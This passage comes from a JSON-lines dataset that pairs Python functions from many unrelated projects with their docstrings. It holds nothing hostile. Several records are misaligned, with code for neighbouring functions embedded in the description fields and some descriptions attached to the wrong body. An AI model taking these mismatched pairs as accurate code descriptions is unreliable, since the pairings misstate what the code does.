List[str]]:\n\n validators_attribute = self._parent.validators.attribute\n name_getter = self._parent.validators.get_names_from_wrappers\n\n return {field: name_getter(validators)\n for field, validators in validators_attribute.items()}\n\n @property", "nl": "Return mapping between all field names (keys) and theircorresponding validator names (values) for standard validators only.Please be aware, the asterisk field name `*` is used to represent allfields."} {"code": "def generateKey(secret, receivingServer, originatingServer, streamID):\n\n hashObject = sha256()\n hashObject.update(secret.encode('ascii'))\n hashedSecret = hashObject.hexdigest()\n message = \" \".join([receivingServer, originatingServer, streamID])\n hash = hmac.HMAC(hashedSecret.encode('ascii'),\n message.encode('ascii'),\n digestmod=sha256)\n return hash.hexdigest()\n\n", "nl": "Generate a dialback key for server-to-server XMPP Streams.The dialback key is generated using the algorithm described inU{XEP-0185}. The usedterminology for the parameters is described in RFC-3920.@param secret: the shared secret known to the Originating Server andAuthoritive Server.@type secret: L{unicode}@param receivingServer: the Receiving Server host name.@type receivingServer: L{unicode}@param originatingServer: the Originating Server host name.@type originatingServer: L{unicode}@param streamID: the Stream ID as generated by the Receiving Server.@type streamID: L{unicode}@return: hexadecimal digest of the generated key.@type: C{str}"} {"code": "def test_user_and_group_functions_handle_nonexistent_users(self):\n self.assertEqual(get_user_from_uid(-999),None)\n self.assertEqual(get_uid_from_user(''),None)\n self.assertEqual(get_group_from_gid(-999),None)\n self.assertEqual(get_gid_from_group(''),None)\n", "nl": "User/group name functions handle nonexistent users"} {"code": "def finalize(self, threshold=-1, nwords=-1, padding_factor=8):\n if nwords <= 0:\n nwords = len(self)\n\n new_indices = dict(zip(self.symbols[: self.nspecial], range(self.nspecial)))\n new_symbols = self.symbols[: self.nspecial]\n new_count = self.count[: self.nspecial]\n\n c = Counter(\n dict(\n sorted(zip(self.symbols[self.nspecial :], self.count[self.nspecial :]))\n )\n )\n for symbol, count in c.most_common(nwords - self.nspecial):\n if count >= threshold:\n new_indices[symbol] = len(new_symbols)\n new_symbols.append(symbol)\n new_count.append(count)\n else:\n break\n\n assert len(new_symbols) == len(new_indices)\n\n self.count = list(new_count)\n self.symbols = list(new_symbols)\n self.indices = new_indices\n\n self.pad_to_multiple_(padding_factor)\n", "nl": "Sort symbols by frequency in descending order, ignoring special ones.Args:- threshold defines the minimum word count- nwords defines the total number of words in the final dictionary,including special symbols- padding_factor can be used to pad the dictionary size to be amultiple of 8, which is important on some hardware (e.g., NvidiaTensor Cores)."} {"code": "def count(self, **kwargs):\n kwargs = self._generateGetArgs(kwargs)\n return self.otherklass.count(**kwargs)\n\n", "nl": "Get the number of objects that caller has.@param kwargs: These could include C{limit}, C{orderby}, or any others included inC{DBObject.find}. If a C{where} parameter is included, the conditions willbe added to the ones already imposed by default in this method.@return: A C{Deferred} with the number of objects."} {"code": "def test_list_field_remove_successfully(self):\n doc = Document(self.db)\n self.assertEqual(doc, {})\n doc.list_field_append(doc, 'pets', 'cat')\n doc.list_field_append(doc, 'pets', 'dog')\n self.assertEqual(doc, {'pets': ['cat', 'dog']})\n doc.list_field_remove(doc, 'pets', 'dog')\n self.assertEqual(doc, {'pets': ['cat']})\n", "nl": "Test the static helper method to successfully remove from a list field."} {"code": "def addFilter(self, filter):\n if filter not in self.filters:\n self.filters.append(filter)\n", "nl": "Add the specified filter to this handler."} {"code": "def make_key(bits):\n assert bits >= 1024\n key = crypto.PKey()\n key.generate_key(crypto.TYPE_RSA, bits)\n return crypto.dump_privatekey(crypto.FILETYPE_PEM, key)\n\n", "nl": "Generate PEM encoded RSA key.:param int bits: Number of bits, at least 1024.:returns: new RSA key in PEM form with specified number of bits:rtype: str"} {"code": "def get(self, key, default=None, type=None, as_bytes=False):\n try:\n rv = self.__getitem__(key, _get_mode=True)\n except KeyError:", "nl": "Return the default value if the requested data doesn't exist.If `type` is provided and is a callable it should convert the value,return it or raise a :exc:`ValueError` if that is not possible. Inthis case the function will return the default as if the value was notfound:>>> d = Headers([('Content-Length', '42')])>>> d.get('Content-Length', type=int)42If a headers object is bound you must not add unicode stringsbecause no encoding takes place... versionadded:: 0.9Added support for `as_bytes`.:param key: The key to be looked up.:param default: The default value to be returned if the key can'tbe looked up. If not further specified `None` isreturned.:param type: A callable that is used to cast the value in the:class:`Headers`. If a :exc:`ValueError` is raisedby this callable the default value is returned.:param as_bytes: return bytes instead of unicode strings."} {"code": "def _clusters_selected(self, sender, obj, **kwargs):\n if sender != self.cluster_view:\n return\n cluster_ids = obj['selected']\n next_cluster = obj['next']\n kwargs = obj.get('kwargs', {})\n logger.debug(\"Clusters selected: %s (%s)\", cluster_ids, next_cluster)\n self.task_logger.log(self.cluster_view, 'select', cluster_ids, output=obj)\n self.similarity_view.reset(cluster_ids)\n self.similarity_view.set_selected_index_offset(len(self.selected_clusters))\n if kwargs.pop('update_views', True):\n emit('select', self, self.selected, **kwargs)\n if cluster_ids:\n self.cluster_view.scroll_to(cluster_ids[-1])\n self.cluster_view.dock.set_status('clusters: %s' % ', '.join(map(str, cluster_ids)))\n", "nl": "When clusters are selected in the cluster view, register the action in the historystack, update the similarity view, and emit the global supervisor.select event unlessupdate_views is False."} {"code": "def from_rdata(ttl, *rdatas):\n\n return from_rdata_list(ttl, rdatas)", "nl": "Create an rdataset with the specified TTL, and withthe specified rdata objects.Returns a ``dns.rdataset.Rdataset`` object."} {"code": "def expected_controller_addr(self) -> Address:\n if self._conf is None:\n raise AEAEnforceError(\"Game configuration not assigned!\")\n return self._conf\n", "nl": "Get the expected controller address.if self._expected_controller_addr is None:raise AEAEnforceError(\"Expected controller address not assigned!\")return self._expected_controller_addr@propertydef conf(self) -> Configuration:Get the game configuration."} {"code": "def hdfs(self):\n return self._hdfs\n\n @hdfs.setter", "nl": "Gets the hdfs of this V1alpha1ArtifactLocation. # noqa: E501:return: The hdfs of this V1alpha1ArtifactLocation. # noqa: E501:rtype: V1alpha1HDFSArtifact"} {"code": "def write(self, msg):\n sys.stdout.write(msg)\n", "nl": "Output a message.:param msg: a string to print to standard out"} {"code": "def set_current_job(job):\n try:\n job_id = int(job)\n except ValueError:\n job_id = job.id\n except TypeError:\n job_id = job.id\n thread_ident = thread.get_ident()\n if thread_ident not in _state:\n _state[thread_ident] = job_id\n\n", "nl": "Associates a job with the current thread."} {"code": "def all_gather(data):\n world_size = get_world_size()\n if world_size == 1:\n return [data]\n\n buffer = pickle.dumps(data)\n storage = torch.ByteStorage.from_buffer(buffer)\n tensor = torch.ByteTensor(storage).to(\"cuda\")\n\n local_size = torch.tensor([tensor.numel()], device=\"cuda\")\n size_list = [torch.tensor([0], device=\"cuda\") for _ in range(world_size)]\n dist.all_gather(size_list, local_size)\n size_list = [int(size.item()) for size in size_list]\n max_size = max(size_list)\n\n tensor_list = []\n for _ in size_list:\n tensor_list.append(torch.empty((max_size,), dtype=torch.uint8, device=\"cuda\"))\n if local_size != max_size:\n padding = torch.empty(size=(max_size - local_size,), dtype=torch.uint8, device=\"cuda\")\n tensor = torch.cat((tensor, padding), dim=0)\n dist.all_gather(tensor_list, tensor)\n\n data_list = []\n for size, tensor in zip(size_list, tensor_list):\n buffer = tensor.cpu().numpy().tobytes()[:size]\n data_list.append(pickle.loads(buffer))\n\n return data_list\n\n", "nl": "Run all_gather on arbitrary picklable data (not necessarily tensors)Arguments:data: any picklable objectReturns:list[data]: list of data gathered from each rank"} {"code": "def check_time(self, frame: FrameType, event: str, arg: Any) -> Callable:\n start_time = time.time()\n self.end_time = start_time + self.seconds_before_timeout\n\n self.original_trace_function = sys.gettrace()\n sys.settrace(self.check_time)\n return self\n", "nl": "Tracing functionif self.original_trace_function is not None:self.original_trace_function(frame, event, arg)current_time = time.time()if self.end_time and current_time >= self.end_time:raise TimeoutErrorreturn self.check_timedef __enter__(self) -> Any:Begin of `with` block"} {"code": "def test_decrypt_error():\n fetchai_api = FetchAIApi(**FETCHAI_TESTNET_CONFIG)\n\n coins = [Coin(denom=\"DENOM\", amount=\"1234\")]\n\n msg_send = MsgSend(from_address=str(\"from\"), to_address=str(\"to\"), amount=coins,)\n send_msg_packed = ProtoAny()\n send_msg_packed.Pack(msg_send, type_url_prefix=\"/\")\n\n tx = fetchai_api._get_transaction(\n account_numbers=[1, 2],\n from_addresses=[\"adr1\", \"adr2\"],\n pub_keys=[b\"1\", b\"2\"],\n chain_id=\"chain_id\",\n tx_fee=coins,\n gas=1234,\n memo=\"MEMO\",\n sequences=[1, 2],\n msgs=[send_msg_packed, send_msg_packed],\n )\n assert (\n isinstance(tx, dict) and len(tx) == 2\n ), \"Incorrect transfer_transaction constructed.\"\n assert tx[\"tx\"][\"body\"][\"messages\"][0][\"@type\"] == \"/cosmos.bank.v1beta1.MsgSend\"\n assert tx[\"tx\"][\"body\"][\"messages\"][1][\"@type\"] == \"/cosmos.bank.v1beta1.MsgSend\"\n\n\n@pytest.mark.integration\n@pytest.mark.ledger", "nl": "Test bad password error on decrypt.ec = FetchAICrypto()ec._pritvate_key = FetchAICrypto.generate_private_key()password = \"test\"encrypted_data = ec.encrypt(password=password)with patch(\"aea_ledger_fetchai._cosmos.DataEncrypt.decrypt\",side_effect=UnicodeDecodeError(\"expected\", b\"\", 2, 3, \"\"),):with pytest.raises(ValueError, match=\"bad password?\"):ec.decrypt(encrypted_data, password + \"some\")@pytest.mark.integration@pytest.mark.ledgerdef test_multiple_signatures_transaction():Test generating message with multiple signers"} {"code": "def check_variable_norec(new_r):\n for reason, r, old_graph_str, new_graph_str in reasons[new_r]:\n new_r_val = r_vals[new_r]\n r_val = r_vals[r]\n\n if (r.type != new_r.type) or (not r.type.values_eq_approx(\n r_val, new_r_val)):\n raise BadOptimization(old_r=r,\n new_r=new_r,\n old_r_val=r_val,\n new_r_val=new_r_val,\n reason=reason,\n old_graph=old_graph_str,\n new_graph=new_graph_str)\n", "nl": "Verify that `r` has the same value as the results it replaces."} {"code": "def associate_with(cls, sqltype):\n", "nl": "Associate this wrapper with all future mapped columnsof the given type.This is a convenience method that calls``associate_with_attribute`` automatically... warning::The listeners established by this method are *global*to all mappers, and are *not* garbage collected. Only use:meth:`.associate_with` for types that are permanent to anapplication, not with ad-hoc types else this will cause unboundedgrowth in memory usage."} {"code": "def dispatch(self, operation, *args):\n m = self._operations.get(operation)\n try:\n if m:\n return m(*args)\n else:\n return self.tk.call((self.orig, operation) + args)\n except TclError:\n return \"\"\n\n\nclass OriginalCommand:\n '''Callable for original tk command that has been redirected.", "nl": "Callback from Tcl which runs when the widget is referenced.If an operation has been registered in self._operations, apply theassociated function to the args passed into Tcl. Otherwise, pass theoperation through to Tk via the original Tcl function.Note that if a registered function is called, the operation is notpassed through to Tk. Apply the function returned by self.register()to *args to accomplish that. For an example, see colorizer.py."} {"code": "def process(self, update: TouchpadUpdate) -> bool:\n if update.n_touches > self.n_touches:\n if update.t - self._begin_t < 0.2:\n return False\n\n \"\"\"\n if update.n_touches == 0:\n return False\n\n if len(update.touches) == 0:\n return True\n\n dx = 0.\n dy = 0.\n d2s = 0.\n for i, x, y, z in update.touches:\n try:\n idx = [it[0] for it in self._touchpad_update.touches].index(i)\n\n dx += x - [it[1] for it in self._touchpad_update.touches][idx]\n d2s += (x - [it[1] for it in self._touchpad_update.touches][idx])**2\n\n dy += y - [it[2] for it in self._touchpad_update.touches][idx]\n d2s += (y - [it[2] for it in self._touchpad_update.touches][idx])**2\n except Exception:\n pass\n\n self._dx += dx / self.n_touches\n self._dy += dy / self.n_touches\n self._d2s += d2s / self.n_touches\n\n \"\"\"\n self.update({\n 'delta_x': self._dx,\n 'delta_y': self._dy,\n 'delta2_s': self._d2s,\n })\n\n\n self._touchpad_update = update\n return True\n", "nl": "\"Upgrade\" three- to four-finger gesture and so on"} {"code": "def ms_to_stereo(audio_segment):\n\tchannel = audio_segment.split_to_mono()\n\tchannel = [channel[0].overlay(channel[1]) - 3, channel[0].overlay(channel[1].invert_phase()) - 3]\n\treturn AudioSegment.from_mono_audiosegments(channel[0], channel[1])\n", "nl": "Mid-Side -> Left-Right"} {"code": "def drop(self, bind=None, checkfirst=False):\n\n The :class:`.Enum` type provides a set of possible string values\n which the column is constrained towards.\n\n The :class:`.Enum` type will make use of the backend's native \"ENUM\"\n type if one is available; otherwise, it uses a VARCHAR datatype and\n produces a CHECK constraint. Use of the backend-native enum type\n can be disabled using the :paramref:`.Enum.native_enum` flag, and\n the production of the CHECK constraint is configurable using the\n :paramref:`.Enum.create_constraint` flag.\n\n The :class:`.Enum` type also provides in-Python validation of string\n values during both read and write operations. When reading a value\n from the database in a result set, the string value is always checked\n against the list of possible values and a ``LookupError`` is raised\n if no match is found. When passing a value to the database as a\n plain string within a SQL statement, if the\n :paramref:`.Enum.validate_strings` parameter is\n set to True, a ``LookupError`` is raised for any string value that's\n not located in the given list of possible values; note that this\n impacts usage of LIKE expressions with enumerated values (an unusual\n use case).\n\n .. versionchanged:: 1.1 the :class:`.Enum` type now provides in-Python\n validation of input values as well as on data being returned by\n the database.\n\n The source of enumerated values may be a list of string values, or\n alternatively a PEP-435-compliant enumerated class. For the purposes\n of the :class:`.Enum` datatype, this class need only provide a\n ``__members__`` method.\n\n When using an enumerated class, the enumerated objects are used\n both for input and output, rather than strings as is the case with\n a plain-string enumerated type::\n\n import enum\n class MyEnum(enum.Enum):\n one = 1\n two = 2\n three = 3\n\n\n t = Table(\n 'data', MetaData(),\n Column('value', Enum(MyEnum))\n )\n\n connection.execute(t.insert(), {\"value\": MyEnum.two})\n assert connection.scalar(t.select()) is MyEnum.two\n\n Above, the string names of each element, e.g. \"one\", \"two\", \"three\",\n are persisted to the database; the values of the Python Enum, here\n indicated as integers, are **not** used; the value of each enum can\n therefore be any kind of Python object whether or not it is persistable.\n\n .. versionadded:: 1.1 - support for PEP-435-style enumerated\n classes.\n\n\n .. seealso::\n\n :class:`.postgresql.ENUM` - PostgreSQL-specific type,\n which has additional functionality.\n\n :class:`.mysql.ENUM` - MySQL-specific type\n\n \"\"\"", "nl": "Issue DROP ddl for this type, if applicable.if bind is None:bind = _bind_or_error(self)t = self.dialect_impl(bind.dialect)if t.__class__ is not self.__class__ and isinstance(t, SchemaType):t.drop(bind=bind, checkfirst=checkfirst)def _on_table_create(self, target, bind, **kw):if not self._is_impl_for_variant(bind.dialect, kw):returnt = self.dialect_impl(bind.dialect)if t.__class__ is not self.__class__ and isinstance(t, SchemaType):t._on_table_create(target, bind, **kw)def _on_table_drop(self, target, bind, **kw):if not self._is_impl_for_variant(bind.dialect, kw):returnt = self.dialect_impl(bind.dialect)if t.__class__ is not self.__class__ and isinstance(t, SchemaType):t._on_table_drop(target, bind, **kw)def _on_metadata_create(self, target, bind, **kw):if not self._is_impl_for_variant(bind.dialect, kw):returnt = self.dialect_impl(bind.dialect)if t.__class__ is not self.__class__ and isinstance(t, SchemaType):t._on_metadata_create(target, bind, **kw)def _on_metadata_drop(self, target, bind, **kw):if not self._is_impl_for_variant(bind.dialect, kw):returnt = self.dialect_impl(bind.dialect)if t.__class__ is not self.__class__ and isinstance(t, SchemaType):t._on_metadata_drop(target, bind, **kw)def _is_impl_for_variant(self, dialect, kw):variant_mapping = kw.pop('variant_mapping', None)if variant_mapping is None:return Trueif dialect.name in variant_mapping and \\variant_mapping[dialect.name] is self:return Trueelif dialect.name not in variant_mapping:return variant_mapping['_default'] is selfclass Enum(Emulated, String, SchemaType):Generic Enum Type."} {"code": "def connectionMade(self):\n self.transport.sendFileDescriptor(self.fd)\n if self.data:\n self.transport.write(self.data)\n self.transport.loseConnection()\n\n", "nl": "Send C{self.fd} and, if it is not L{None}, C{self.data}. Then close theconnection."} {"code": "def validate_interfaces(df: pd.DataFrame, datadir: str):\n\n only_oifs = df.groupby(by=['namespace', 'hostname'])['oif'] \\\n .unique() \\\n .reset_index() \\\n .explode('oif') \\\n .rename(columns={'oif': 'ifname'}) \\\n .reset_index(drop=True)\n\n if_df = _get_table_data('interface', datadir)\n assert not if_df.empty, 'unexpected empty interfaces table'\n\n if_oifs = if_df.groupby(by=['namespace', 'hostname'])['ifname'] \\\n .unique() \\\n .reset_index() \\\n .explode('ifname') \\\n .reset_index(drop=True)\n\n m_df = only_oifs.merge(if_oifs, how='left', indicator=True)\n assert m_df.query('_merge != \"both\"').empty, \\\n 'Unknown interfaces in arpnd table'\n\n\n@ pytest.mark.parsing\n@ pytest.mark.arpnd\n@ pytest.mark.parametrize('table', ['arpnd'])\n@ pytest.mark.parametrize('datadir', DATADIR)", "nl": "Validate that each VRF/interface list is in interfaces table.This is to catch problems in parsing interfaces such that the differenttables contain a different interface name than the interface table itself.For example, in parsing older NXOS, we got iftable with Eth1/1 and theroute table with Ethernet1/1. The logic of ensuring this also ensures thatthe VRFs in the route table are all known to the interface table."} {"code": "def report(self, trials, done, *sys_info):\n raise NotImplementedError\n\n\nclass TuneReporterBase(ProgressReporter):", "nl": "Reports progress across trials.Args:trials (list[Trial]): Trials to report on.done (bool): Whether this is the last progress report attempt.sys_info: System info."} {"code": "def verify(self):\n for trace in self:\n trace.verify()\n return self\n", "nl": "Verify all traces of current Stream against available meta data... rubric:: Example>>> from obspy import Trace, Stream>>> tr = Trace(data=np.array([1, 2, 3, 4]))>>> tr.stats.npts = 100>>> st = Stream([tr])>>> st.verify() #doctest: +ELLIPSISTraceback (most recent call last):...Exception: ntps(100) differs from data size(4)"} {"code": "def order_signature_valid(message):\n\n eth_signature_prefix = Web3.toBytes(\n text=\"\\x19Ethereum Signed Message:\\n32\")\n hash_bytes = Web3.toBytes(hexstr=make_order_hash(message))\n\n signature_base = Web3.sha3(\n hexstr=Web3.toHex(eth_signature_prefix + hash_bytes))\n\n recovered_address = ecrecover(\n Web3.toBytes(hexstr=signature_base),\n message[\"v\"],\n Web3.toInt(\n hexstr=Web3.toHex(message[\"r\"])\n ),\n Web3.toInt(hexstr=Web3.toHex(message[\"s\"])))\n\n return to_normalized_address(recovered_address) == to_normalized_address(\n message[\"user\"])", "nl": "Performs the black magic ritual of verifying order signatures.Reverse engineered from frontend and contract.Returns True if the spirits say \"yes\", and False otherwise."} {"code": "def recognize(self, language_code='en-US', hint_phrases=None):\n streaming_config=speech.types.StreamingRecognitionConfig(\n config=self._make_config(language_code, hint_phrases),\n single_utterance=True)\n\n with Recorder() as recorder:\n chunks = recorder.record(AUDIO_FORMAT,\n chunk_duration_sec=0.1,\n on_start=self.start_listening,\n on_stop=self.stop_listening)\n\n requests = (speech.types.StreamingRecognizeRequest(audio_content=data) for data in chunks)\n responses = self._client.streaming_recognize(config=streaming_config, requests=requests)\n\n for response in responses:\n if response.speech_event_type == END_OF_SINGLE_UTTERANCE:\n recorder.done()\n\n for result in response.results:\n if result.is_final:\n return result.alternatives[0].transcript\n\n return None\n", "nl": "Performs speech-to-text for a single utterance using the default ALSA soundcard driver.Once it detects the user is done speaking, it stops listening and delivers the topresult as text.By default, this method calls :meth:`start_listening` and :meth:`stop_listening` as therecording begins and ends, respectively.Args:language_code: Language expected from the user, in IETF BCP 47 syntax (default is\"en-US\"). See the `list of Cloud's supported languages`_.hint_phrase: A list of strings containing words and phrases that may be expected fromthe user. These hints help the speech recognizer identify them in the dialog andimprove the accuracy of your results.Returns:The text transcription of the user's dialog."} {"code": "def test_block_and_pool(self):\n SIZE = 64\n MID = SIZE / 2\n DOMAIN = Domain(x=SIZE, y=SIZE, boundaries=STICKY, bounds=Box[0:SIZE, 0:SIZE])\n DT = 0.05\n OBSTACLE = union([Box[20:30, 10:12].rotated(math.tensor(20)), Box[34:44, 10:12].rotated(math.tensor(-20))])\n ACCESSIBLE = DOMAIN.accessible_mask(OBSTACLE, type=StaggeredGrid)\n x_low = 26\n x_high = 38\n y_low = 40\n y_high = 50\n PARTICLES = DOMAIN.distribute_points(union(Box[x_low:x_high, y_low:y_high]), center=True) * (0, 0)\n\n x_num = int((x_high - x_low) / 2)\n y_num = y_high - y_low\n particles_per_cell = 8\n total = x_num * y_num\n\n state = dict(particles=PARTICLES, domain=DOMAIN, dt=DT, accessible=ACCESSIBLE)\n for i in range(100):\n state = step(**state)\n particles = state['particles'].points\n left = particles.points[particles.vector[0] < MID]\n right = particles.points[particles.vector[0] > MID]\n self.assertEqual(left.points.size, right.points.size)\n mirrored = math.copy(right).numpy('points,vector')\n mirrored[:, 0] = 2 * MID - right[:, 0]\n smirrored = np.zeros_like(mirrored)\n for p in range(particles_per_cell):\n for b in range(x_num):\n smirrored[p * total + b * y_num:p * total + (b + 1) * y_num] = \\\n mirrored[(p + 1) * total - (b + 1) * y_num:(p + 1) * total - b * y_num]\n mse = np.square(smirrored - left.numpy('points,vector')).mean()\n if i < 45:\n assert mse == 0\n else:\n assert mse <= 1e-3\n", "nl": " Tests if the impact of a block on a pool has no sideeffects (e.g. liquid explosion). SIZE = 32DOMAIN = Domain(x=SIZE, y=SIZE, boundaries=STICKY, bounds=Box[0:SIZE, 0:SIZE])DT = 0.05ACCESSIBLE = DOMAIN.accessible_mask([], type=StaggeredGrid)PARTICLES = DOMAIN.distribute_points(union(Box[:, :5], Box[12:18, 15:20])) * (0, 0)state = dict(particles=PARTICLES, domain=DOMAIN, dt=DT, accessible=ACCESSIBLE)for i in range(100):state = step(**state)assert math.all(state['particles'].points.vector[1] < 15)def test_symmetry(self): Tests the symmetry of a setup where a liquid block collides with 2 rotated obstacles. "} {"code": "def analog_mapping_response(self, data):\n self.analog_mapping_query_results = data\n", "nl": "This method handles an analog mapping query response message and stores the results to be retrievedvia get_analog_mapping_request_results() in pymata.py:param data: raw analog mapping data"} {"code": "def loadXML(self, filename):\n self._parser = expat.ParserCreate(\"UTF-8\")\n self._parser.StartElementHandler = self.__start_element\n self._parser.EndElementHandler = self.__end_element\n self._parser.CharacterDataHandler = self.__char_data\n self._parser.returns_unicode = False\n\n f = None\n try:\n f = open(filename)\n content = f.read()\n self.__feed(content.replace(\"\\n\", \"\"))\n finally:\n if f is not None:\n f.close()\n", "nl": "Loads the crawler parameters from an XML file.@param filename The file from where is loaded the crawler data"} {"code": "def __init__(self, errors='strict'):\n self.errors = errors\n", "nl": "Creates an IncrementalDecoder instance.The IncrementalDecoder may use different error handling schemes byproviding the errors keyword argument. See the module docstringfor a list of possible values."} {"code": "def test_bad_request_response_with_custom_error_message(self):\n response = self.client.post(\n \"/json_custom_bad_request/\", data=self.request_dict\n )\n response_json = json.loads(response.content.decode(\"utf-8\"))\n self.assertEqual(response.status_code, 400)\n self.assertEqual(response_json, {\"error\": \"you messed up\"})\n\n\nclass TestJsonBadRequestMixin(TestViewHelper, test.TestCase):\n view_class = JsonBadRequestView\n request_dict = {\"status\": \"operational\"}\n", "nl": "If a view calls render_bad_request_response when request_json is emptyor None, the client should get a 400 error"} {"code": "def _convert_train_id_to_eval_id(prediction, train_id_to_eval_id):\n converted_prediction = prediction.copy()\n for train_id, eval_id in enumerate(train_id_to_eval_id):\n converted_prediction[prediction == train_id] = eval_id\n\n return converted_prediction\n\n", "nl": "Converts the predicted label for evaluation.There are cases where the training labels are not equal to the evaluationlabels. This function is used to perform the conversion so that we couldevaluate the results on the evaluation server.Args:prediction: Semantic segmentation prediction.train_id_to_eval_id: A list mapping from train id to evaluation id.Returns:Semantic segmentation prediction whose labels have been changed."} {"code": "def __init__(self, address, strict=False):\n _BaseNet.__init__(self, address)\n _BaseV6.__init__(self, address)\n\n if isinstance(address, (int, long, Bytes, IPv6Address)):\n self.ip = IPv6Address(address)\n self._ip = self.ip._ip\n self._prefixlen = self._max_prefixlen\n self.netmask = IPv6Address(self._ALL_ONES)\n return\n\n if isinstance(address, tuple):\n try:\n ip, prefixlen = address\n except ValueError:\n raise AddressValueError(address)\n self.ip = IPv6Address(ip)\n self._ip = self.ip._ip\n self._prefixlen = self._prefix_from_prefix_int(prefixlen)\n\n else:\n addr = str(address).split('/')\n\n if len(addr) > 2:\n raise AddressValueError(address)\n\n self._ip = self._ip_int_from_string(addr[0])\n self.ip = IPv6Address(self._ip)\n\n if len(addr) == 2:\n self._prefixlen = self._prefix_from_prefix_string(addr[1])\n else:\n self._prefixlen = self._max_prefixlen\n\n self.netmask = IPv6Address(self._ip_int_from_prefix(self._prefixlen))\n\n if strict:\n if self.ip != self.network:\n raise ValueError('%s has host bits set' %\n self.ip)\n if self._prefixlen == (self._max_prefixlen - 1):\n self.iterhosts = self.__iter__\n\n @property", "nl": "Instantiate a new IPv6 network object.Args:address: The IPv6 network as a string, 2-tuple, or any formatsupported by the IPv6Address constructor.Strings should be in CIDR format, such as '2001:db8::/32'.The 2-tuple format consists of an (ip, prefixlen), where ip is anyformat recognized by the IPv6Address constructor, and prefixlen isan integer from 0 through 128.A plain IPv6 address (in any format) will be forwarded to theIPv6Address constructor, with an implied prefixlen of 128.For example, the following inputs are equivalent:IPv6Network('2001:db8::/128')IPv6Network('2001:db8:0:0:0:0:0:0/128')IPv6Network('2001:db8::')IPv6Network(0x20010db8 << 96)IPv6Network(IPv6Address('2001:db8::'))IPv6Network(('2001:db8::', 128))IPv6Network((0x20010db8 << 96, 128))IPv6Network((IPv6Address('2001:db8::'), 128))strict: A boolean. If true, ensure that we have been passedA true network address, eg, 2001:db8::/32 and not anIP address on a network, eg, 2001:db8::1/32.Raises:AddressValueError: If address isn't a valid IPv6 address.NetmaskValueError: If the netmask isn't valid foran IPv6 address.ValueError: If strict was True and a network address was notsupplied."} {"code": "def stop(self):\n\n :param pika.connection.Parameters parameters: Connection parameters\n :param on_open_callback: The method to call when the connection is open\n :type on_open_callback: method\n :param on_open_error_callback: Method to call if the connection cant be opened\n :type on_open_error_callback: method", "nl": " Stop Event Loop if self.loop.is_closed():returnself.loop.stop()class AsyncioConnection(base_connection.BaseConnection): The AsyncioConnection runs on the Asyncio EventLoop."} {"code": "def getDeptFullname(dept):\n return suitDeptFullnames[dept]\n", "nl": "getDeptFullname(string):Given a dept code, return the fullname"} {"code": "def test_scale_seg_transforms(self):\n _trans_name = \"ScaleTransform\"\n params = (\n (10, 20, 20, 20),\n (10, 20, 10, 20),\n (10, 20, 20, 10),\n (10, 20, 1, 1),\n (10, 20, 3, 3),\n (10, 20, 5, 10),\n (10, 20, 10, 5),\n )\n\n for seg, param in itertools.product(\n TestTransforms._seg_provider(h=10, w=20), params\n ):\n gt_transformer = getattr(self, \"{}_seg_gt\".format(_trans_name))\n transformer = getattr(T, _trans_name)(*param)\n\n result = transformer.apply_segmentation(seg)\n seg_gt, shape_gt = gt_transformer(seg, *param)\n\n if shape_gt is not None:\n self.assertEqual(\n shape_gt,\n result.shape,\n \"transform {} failed to pass the shape check with\"\n \"params {} given input with shape {}\".format(\n _trans_name, param, result.shape\n ),\n )\n if seg_gt is not None:\n self.assertTrue(\n np.allclose(result, seg_gt),\n \"transform {} failed to pass the value check with\"\n \"params {} given input with shape {}\".format(\n _trans_name, param, result.shape\n ),\n )\n\n params = (\n (0, 0, 20, 20),\n (0, 0, 0, 0),\n (-1, 0, 0, 0),\n (0, -1, 0, 0),\n (0, 0, -1, 0),\n (0, 0, 0, -1),\n (20, 10, 0, -1),\n )\n for seg, param in itertools.product(\n TestTransforms._seg_provider(w=10, h=20), params\n ):\n gt_transformer = getattr(self, \"{}_seg_gt\".format(_trans_name))\n transformer = getattr(T, _trans_name)(*param)\n with self.assertRaises((RuntimeError, AssertionError)):\n result = transformer.apply_image(seg)\n\n @staticmethod", "nl": "Test ScaleTransform."} {"code": "def closed(self) -> bool:\n self.__ensure_indexes()\n if not data:\n return\n assert len(data) <= self.chunk_size\n\n chunk = {\"files_id\": self._file[\"_id\"], \"n\": self._chunk_number, \"data\": Binary(data)}\n\n try:\n self._chunks.insert_one(chunk, session=self._session)\n except DuplicateKeyError:\n self._raise_file_exists(self._file[\"_id\"])\n self._chunk_number += 1\n self._position += len(data)\n", "nl": "Is this file closed?return self._closed_id: Any = _grid_in_property(\"_id\", \"The ``'_id'`` value for this file.\", read_only=True)filename: Optional[str] = _grid_in_property(\"filename\", \"Name of this file.\")name: Optional[str] = _grid_in_property(\"filename\", \"Alias for `filename`.\")content_type: Optional[str] = _grid_in_property(\"contentType\", \"Mime-type for this file.\")length: int = _grid_in_property(\"length\", \"Length (in bytes) of this file.\", closed_only=True)chunk_size: int = _grid_in_property(\"chunkSize\", \"Chunk size for this file.\", read_only=True)upload_date: datetime.datetime = _grid_in_property(\"uploadDate\", \"Date that this file was uploaded.\", closed_only=True)md5: Optional[str] = _grid_in_property(\"md5\", \"MD5 of the contents of this file if an md5 sum was created.\", closed_only=True)_buffer: io.BytesIO_closed: booldef __getattr__(self, name: str) -> Any:if name in self._file:return self._file[name]raise AttributeError(\"GridIn object has no attribute '%s'\" % name)def __setattr__(self, name: str, value: Any) -> None:# For properties of this instance like _buffer, or descriptors set on# the class like filename, use regular __setattr__if name in self.__dict__ or name in self.__class__.__dict__:object.__setattr__(self, name, value)else:# All other attributes are part of the document in db.fs.files.# Store them to be sent to server on close() or if closed, send# them now.self._file[name] = valueif self._closed:self._coll.files.update_one({\"_id\": self._file[\"_id\"]}, {\"$set\": {name: value}})def __flush_data(self, data: Any) -> None:Flush `data` to a chunk."} {"code": "def load_hparams(model_dir):\n if not hparams_path:\n return hparams\n\n if tf.gfile.Exists(hparams_path):\n print_out(\"\n with tf.gfile.GFile(hparams_path, \"r\") as f:\n hparams.parse_json(f.read())\n\n return hparams\n\n", "nl": "Load hparams from an existing model directory.hparams_file = os.path.join(model_dir, \"hparams\")if tf.gfile.Exists(hparams_file):print_out(\"# Loading hparams from %s\" % hparams_file)with codecs.getreader(\"utf-8\")(tf.gfile.GFile(hparams_file, \"rb\")) as f:try:hparams_values = json.load(f)hparams = tf.contrib.training.HParams(**hparams_values)except ValueError:print_out(\" can't load hparams file\")return Nonereturn hparamselse:return Nonedef maybe_parse_standard_hparams(hparams, hparams_path):Override hparams values with existing standard hparams config."} {"code": "def action_attention(self):\n if self._action_attention 